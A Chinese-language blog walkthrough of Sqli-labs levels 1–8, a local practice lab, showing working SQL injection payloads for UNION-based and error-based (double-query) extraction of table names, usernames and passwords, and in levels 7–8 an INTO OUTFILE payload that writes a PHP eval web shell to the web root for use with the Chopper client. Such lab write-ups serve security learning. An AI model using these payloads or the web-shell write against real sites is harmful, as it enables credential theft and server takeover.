Sqli-labs闯关记录(Less1—8) 详细!

补课补课

Less-1

根据题目提示为单引号注入,先测试一下
在这里插入图片描述
//注意这里使用 # 是不行的,游览器没有帮我们编码,所以我们自己编
%23#的url编码,--+可以直接使用//

即只有三个字段,那么现在开始联合查询:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上
同时又需要确定哪几个字段会被显示在页面上:
在这里插入图片描述
可以看出2,3字段被显示出来,
接着爆数据库在这里插入图片描述
看到数据库名为:security,接着再查其他信息

   http://localhost/sqli-labs/Less-1/
?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+

在这里插入图片描述
这里我使用了concat_ws() 函数:
concat_ws(separator,str1,str2,…)
第一个参数是其它参数的分隔符。分隔符的位置放在要连 接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
ps:
select concat_ws(‘,’,’11’,’22’,’33’);  11,22,33
**group_concat()**: 使多行数据在一列显示
char(32,58,32)对应ascill码为空格:空格
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
我们还要知道在Mysql中有information_schema这个库,该库存放了所有数据库的信息。

information_schema.columns包含所有表的字段
information_schema.tables包含所有库的表名
information_schema.schemata包含所有数据库的名
table_schema 数据库名
table_name 表名
column_name 列名
schema_name 数据库名

OK 得到这些信息之后我们再来看看数据库有哪些表

http://localhost/sqli-labs/Less-1/
?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述
可以看到有四张表,我们想要的信息基本都在user表下
我们对这张表爆列名:

http://localhost/sqli-labs/Less-1/
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
接着进行爆用户信息

?id=0' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述
或者单独爆一个人

?id=-1'union select 1,username,password from users where id=2 --+

在这里插入图片描述

OKヾ(≧▽≦*)o 第一关到此结束。

Less-2

看一下源代码,发现没有任何防护,连单引号都没有,可以直接联合查询

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

在这里插入图片描述
可以和第一题一样随便查了。
Less-3

1.输入?id=1’ –+ 页面报错
在这里插入图片描述
但输入?id=1’) –+ 页面是正常的
在这里插入图片描述
所以可以判断出此题为字符串注入,以(’’)的方式闭合的。
OK 知道这些后 其余的步骤就同上了。

less4
这题的闭合方式为(” “),多试几次就行了
在这里插入图片描述
其余同上。
Less-5 双注入get单引号字符型注入
首先打开网页输入?id=1
在这里插入图片描述
然而并没有显示用户名和密码,这是咋回事?查看一下源代码

if($row)
    {
      echo '<font size="5" color="#FFFF00">';    
      echo 'You are in...........';
      echo "<br>";
        echo "</font>";
      }
    else 
    {

    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    

    }

可以看到根本就没有输出 $row 这个查询结果。
根据题目此题为双注入,查看了一些大佬的文章之后终于明白了,
双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

详解请查看blog 双注入详解不懂的同学一定要看哦!

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:

Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+  //这里我们给查询的数据起了另一个名:a

group by a字段,就是a字段有多少不同的值就有多少组,例如A字段有“a,b,b,c,c,c,d”,abcd各分一组,总共4组
在这里插入图片描述
OK得到数据库了,然后就可以以同样地方式得到其他信息。

获取表名:

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
查询用户信息:

?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

在这里插入图片描述
第五关结束。
Less-6 双注入GET双引号字符型注入
额 这题就是把上题的单引号变成了双引号。看看上面那题就好。

Less-7 导出文件GET字符型注
打开页面输入?id=1在这里插入图片描述
试了很多发现报错信息都一样,查看下源代码:

if($row)
    {
      echo '<font color= "#FFFF00">';    
      echo 'You are in.... Use outfile......';
      echo "<br>";
      echo "</font>";
      }
    else 
    {
    echo '<font color= "#FFFF00">';
    echo 'You have an error in your SQL syntax';

发现 他把报错做了处理统一返回“You have an error in your SQL syntax”,同时他也给出了提示:
use outfile 也就是说需要使用outfile函数:
outfile函数就是将数据库的查询内容导出到一个外部文件
这时候就可以用菜刀了。

构造语句 写入一句话木马 就可以和菜刀连接了(ps:这里必须要写入根目录,不然菜刀没权限)
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+
在这里插入图片描述
可以看到文件已将写入目录下了,如果有无法写入的小伙伴可以私信我哦,或者在下面评论✪ ω ✪
打开菜刀,右键添加http://127.0.0.1/123.php地址填入你上传文件的地址,后面的小方框中填入你构造的密码,也就是chopper
在这里插入图片描述
连接成功,就可以直接访问数据库了,嘿嘿嘿。
在这里插入图片描述

Level-8 布尔型单引号GET盲注)
在这里插入图片描述
题目已经提示了,为单引号盲注,先测试下
在这里插入图片描述
加单引号报错,注释后回显正常,确实是单引号注入,而且没有报错回显。接着用菜刀吧,步骤和上题一样,这里给出语句:
?id=1' union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+ OK。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏